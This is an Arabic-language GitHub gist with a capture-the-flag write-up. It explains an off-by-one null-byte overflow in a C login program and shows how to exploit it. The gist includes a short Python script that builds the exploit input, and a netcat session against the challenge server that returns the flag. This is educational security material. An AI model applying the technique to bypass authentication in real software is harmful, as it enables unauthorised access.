Skip to content

Instantly share code, notes, and snippets.

@Barakat
Created November 11, 2019 11:10
Show Gist options
  • Save Barakat/cb20b8eb490c4e7738b51ed2e124c554 to your computer and use it in GitHub Desktop.
Save Barakat/cb20b8eb490c4e7738b51ed2e124c554 to your computer and use it in GitHub Desktop.

هذا حل لتحدي pricey mistake، التحدي تحدي C وقيمته 250 نقطة.

كود التحدي:

#include <stdio.h>
#include <strings.h>


void login() {
        char username[64] = {0};
        char correct_password[64] = {0};
        char password[64] = {0};

        getrandom(correct_password, sizeof(correct_password), 0);

        printf("\n\t\tEnter username: ");
        scanf ("%64s", username);

        printf("\t\tEnter password: ");
        scanf("%64s", password);

        if( strcmp(username, "admin") == 0 && strcmp(password, correct_password) == 0) {
                printf("\n\t\t[+] Here is your flag: flag{##}\n");
                exit(0);
        } else {
                printf("\n\t\t[-] Try again maybe it works :-\n");
        }
}

int main() {
        printf("\n\t\tAdmin only login interface\n");
        while(1) { login(); }
}
  • يستقبل البرنامج قيمتين من مصدر خارجي (المستخدم) وهما username و password ويقرأها باستخدام scanf
  • ثم يقارن username مع النص "admin" ويقارن password مع correct_password باستخدام الدالة strcmp()
  • قيمة correct_password تم توليدها باستخدام getrandom(2) والتي تولّد بيانات عشوائية ثنائية قبل قراءة مدخلات المستخدم
  • في حال نجحت المقارنة سيتم طباعة الـ flag

معلومات يجب أن تفهمها:

الدالة scanf() ستقرأ المدخلات إلى أن تقرأ whitespace character مثل '\n' و ' ' وتتوقف، اقرأ أكثر عن الـ whitespace characters في توثيق الدالة isspace().

الدالة strcmp() تقارن نصين منتهيين بـ null byte (أي \x00)، وتعيد صفر في حال كان النصين متساويين إلى الـ null byte (أي نهاية النص)

لو قرأت أكثر عن scanf() ستعرف أن %64s تسمى بالـ width modifie حيث تحدّ عدد البايتات التي تقرأها scanf()، وستكتب على الأكثر 65 بايت في الـ buffer، البايت الأخير الزائد هو الـ null byte (\x00)، من توثيق scanf():

If width specifier is used, matches up to width or until the first whitespace character, whichever appears first. Always stores a null character in addition to the characters matched (so the argument array must have room for at least width+1 characters)

بينما لو لاحظت أن حجم الـ buffers هو 64 بايت، أي أن هناك off-by-one error، في هذه الحالة يمكننا استغلاله بالطريقة التالية، شكل المتغيرات في الـ stack سيكون كالتالي:

+-----------------------------+
| username (64 bytes)         |
+-----------------------------+
| correct_password (64 bytes) |
+-----------------------------+
| password (64 bytes)         |
+-----------------------------+

(المتغيرات بالشكل السباق وبدون فراغات padding لأن أحجامها من مضاعفات 16 بايت، لا تقم بافتراضات اعتباطية حول شكل الـ stack).

لو أدخلنا في username كلمة admin متبوعة بـ \x00 (كي تنجح المقارنة مع النص "admin") ثم أتبعناها بأي 58 حرف ليس من الـ whitespace characters، فستقرأها scanf() كلها وتخزنها في username، لكنها ستكتب \x00 في البايت الـ 65، في هذه الحالة ستكون قد كتبت \x00 في بداية correct_password، هكذا يمكننا كتابة \x00 في password، كي تقوم strcmp() بمقارنة نص فارغ مع نص فارغ strcmp("", "")، وكما نعلم أن تلك القيمتين متساويتين، هكذا سنجعل المقارنة تنجح وسنحصل على الـ flag.

إنشاء الاستغلال باستخدام Python:

with open('exploit.bin', 'wb') as fp:
    fp.write(b'admin' + b'\x00' * 59 + b'\n')
    fp.write(b'\x00\n')

تجربة الاستغلال:

$ nc ctf.wes4m.io 13301 < exploit.bin

                Admin only login interface

                Enter username:                 Enter password:
                [+] Here is your flag: flag{a_NULL_byte_alone_can_do_alot}
$

طريقة أخرى للحل هي استغلال فكرة أن getrandom(2) تولّد بيانات عشوائية ثنائية، لو عملت brute-force فتحتاج في المتوسط لـ 256 محاولة كي يكون أول بايت في correct_password مساوي للصفر \x00، في طريقة الاستغلال هذه لاتحتاج لعمل overflow لأي buffer.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment